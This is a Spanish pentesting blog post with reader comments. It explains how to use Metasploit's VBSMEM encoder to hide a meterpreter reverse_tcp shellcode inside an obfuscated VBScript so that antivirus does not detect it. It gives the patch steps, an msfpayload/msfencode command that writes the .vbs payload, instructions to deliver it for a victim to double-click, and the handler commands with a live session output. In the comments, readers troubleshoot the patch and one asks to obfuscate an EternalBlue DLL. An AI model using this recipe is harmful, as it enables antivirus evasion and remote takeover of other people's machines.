VBSMEM es un encoder incluido en las versiones de MetaSploit FrameWork superiores a la 3.8, nace de la necesidad de una solución al problema que se enfrentar los pentesters a la hora de generar payloads con msfpayload, codificarlos múltiples veces con msfencode para que al final, sean detectados por el AV en la maquina objetivo y no sea posible obtener una sesión meterpreter, lo que desde luego, es bastante frustrante. Se basa en la idea de que, los payloads con VBScript no son detectados por los AV actuales, esto ocurre, porque se ejecutan en memoria y no realizan ningún tipo de operación de escritura en disco, evidentemente el AV confiá en el contenido de una macro que se ejecute dentro de un programa de Microsoft Office (por ejemplo), esto se ha detallado hace unas cuantas entradas, para revisar dicha entrada ver aquí https://thehackerway.com/2012/02/13/intentando-evadir-anti-virus-usando-metasploit-framework-y-visual-basic-contra-plataformas-windows-parte-ii/ tomando este enfoque, se ha implementado el encoder VBSMEM, el cual escribe un shellcode en un fichero VBScript el cual utiliza una librería llamada Dynawrap.dll la cual ejecuta llamadas nativas del sistema operativo en concreto las funciones:
1. VirtualAlloc: Separar un espacio en memoria para la ejecución del shellcode.
2. WriteProcessMemory: Copiar el shellcode en el segmento de memoria separado.
3. CreateThread: Ejecutar el shellcode cargado en memoria.
Por lo demás, para el funcionamiento de este encoder, se utilizan las mismas técnicas de ofuscación para VBScript para ocultar el Shellcode actual de un software AV en la máquina objetivo, la ventaja de esto es que se crea un fichero ejecutable (.vbs) con las mismas características de ofuscación de un fichero en ms office con una macro maliciosa, por lo tanto no es detectable (al menos a día de hoy) por ningún AV del mercado. Los pasos a seguir para conseguir esto son los siguientes:
1. Si se utiliza la versión 3.8 de metasploit o inferior se debe descargar el patch correspondiente y aplicarlo, el patch se encuentra ubicado aquí: http://dev.metasploit.com/redmine/attachments/906/vbsmem-1.2.1.patch
El fichero en concreto que se debe parchar es <DIR_MSF>/lib/msf/util/exe.rb
/opt/metasploit3/msf3/lib/msf/util# patch <vbsmem-1.2.1.patch
patching file exe.rb Hunk #1 succeeded at 813 (offset 80 lines). Hunk #2 succeeded at 1668 (offset 80 lines). Hunk #3 succeeded at 1693 (offset 80 lines). patching file vbsmem.vbs |
Ahora bien, después de aplicar el patch, se crea el fichero vbsmem.vbs que debe ser ubicado en el directorio <DIR_MSF>/data/templates esto es importante ya que el encoder buscará este fichero en dicha ruta.
NOTA: Después de ejecutar el patch, es necesario comprobar que el fichero vbsmem.vbs creando por el patch, es exactamente igual al que se encuentra en la página anteriormente mencionada, ya que se ha notado que en ocasiones se genera incorrectamente, por lo tanto es necesario comprobar y verificar que no existen diferencias entre el fichero y el listado que aparece en la página.
2. Ahora se puede ejecutar el comando msfpayload con la opción “-t vbsmem” de la siguiente forma
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.33 LPORT=4444 R | msfencode -t vbsmem > /opt/lampp/htdocs/vbsmem_generated.vbs
[*] x86/shikata_ga_nai succeeded with size 317 (iteration=1) |
3. El fichero generado se entrega al usuario de la máquina objetivo con el fin de que se ejecute dicho script, tan sencillo como realizar un doble click sobre dicho fichero para que se ejecute el payload, luego en la máquina del atacante, se debe establecer el Listener adecuado, en este caso el exploit/multi/handler para recibir la conexión reversa.
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp msf exploit(handler) > set LHOST 192.168.1.33 LHOST => 192.168.1.33 msf exploit(handler) > set LPORT 4444 LPORT => 4444 msf exploit(handler) > exploit [*] Started reverse handler on 192.168.1.33:4444 [*] Starting the payload handler… [*] Sending stage (749056 bytes) to 192.168.1.38 [*] Meterpreter session 1 opened (192.168.1.33:4444 -> 192.168.1.38:1197) at Sun May 29 01:06:06 +0200 2011 meterpreter > sysinfo System Language : en_US OS : Windows XP (Build 2600, Service Pack 3). Computer : ANONYMOUS Architecture : x86 Meterpreter : x86/win32 |
4. Finalmente, el objetivo de hacer un “bypass” del AV se ha conseguido, dado que desde la maquina objetivo, aunque se realice un escaneo del fichero, no se encontrara ningún tipo de amenaza, Este encoder como se ha mencionado antes, se encuentra disponible de forma definitiva en la versión estable 3.8 (o superior) de Metasploit, con lo cual solamente será necesario actualizar la versión de MSF a la actual.
Por otra parte, en el caso de que se encuentre establecido un Firewall en la máquina objetivo, es probable que bloquee la conexión por dicho puerto para la conexión reversa, en estos casos, podría ser útil emplear el payload reverse_tcp_allports explicado en la publicación anterior
hola, tengo metasploit actualizado a la version 4.3.0 y no me sale el VBSMEM .¿que puedo hacer?
Gracias
Me gustaMe gusta
Aplicar el parche, tal y como si indica en esta publicación
Me gustaMe gusta
eso si, pero como pones «Este encoder como se ha mencionado antes, se encuentra disponible de forma definitiva en la versión estable 3.8 (o superior) de Metasploit, con lo cual solamente será necesario actualizar la versión de MSF a la actual», y yo lo he actualizado hoy y no me sale, pensaba que me tenia que salir, o ¿quiza tengo que actualizarlo de otra forma?
Gracias
Me gustaMe gusta
Tienes razón, ha sido una errata en la publicación. En principio iba a estar disponible a partir de la versión 3.8, sin embargo su subida al repositorio de momento se encuentra «rechazada» por lo tanto hay que seguir aplicando el parche hasta que se desbloquee el hilo. Si te interesa puedes estar pendiente del estado de esta tarea en:
https://dev.metasploit.com/redmine/issues/3894
Un Saludo.
Me gustaMe gusta
ok, estaré pendiente,
Gracias por tu ayuda.
Me gustaMe gusta
Esto se podria aplicar al firewall y av de windows 7??gracias
Me gustaMe gusta
Si, tambien aplica.
Me gustaMe gusta
hola una pregunta a que se debera este error no me deja aplicar el parche ,me sale el siquiente error en consola. un saludo.
atching file exe.rb
Hunk #1 succeeded at 983 with fuzz 1 (offset 250 lines).
Hunk #2 succeeded at 1935 with fuzz 2 (offset 347 lines).
Hunk #3 FAILED at 1613.
1 out of 3 hunks FAILED — saving rejects to file exe.rb.rej
patching file vbsmem.vbs
Me gustaMe gusta
atching file exe.rb
Hunk #1 succeeded at 983 with fuzz 1 (offset 250 lines).
Hunk #2 succeeded at 1935 with fuzz 2 (offset 347 lines).
Hunk #3 FAILED at 1613.
1 out of 3 hunks FAILED — saving rejects to file exe.rb.rej
patching file vbsmem.vbs
Tengo este el Mismo Problema que se puede hacer en ese caso?
Me gustaMe gusta
Este error es muy comun a la hora de generar este tipo de ataque, la mejor solucion segun lo que pude investigar y garantizando su correcto funcionamiento, No es parchar el archivo exe.rb sino descargar el patch y luego abrirlo con un editor cono vim y empezar a agregarle funciones necesarias al archivo antes nombrado (exe.rb) y por ultimo generar el archivo vbsmem.vbs en la carpeta de /templates para luego generar el ataque, aunque aclaro que lo probre, este metodo ya es detectado por los antivirus como Avast. y haciendo un scaneo en novirusthanks. me lo detecto 4 de 14 antivirus, asi que ya no es tan poderoso como creo que pudo haber sido en sus inicios, un saludo.
Me gustaMe gusta
Hola, necesito ofuscar el archivo dll del exploit eternalblue_doublepulsar ya q el antivirus lo detecta! Me serviría éste encoder para dicho exploit (eternal11.dll). Gracias!
Me gustaMe gusta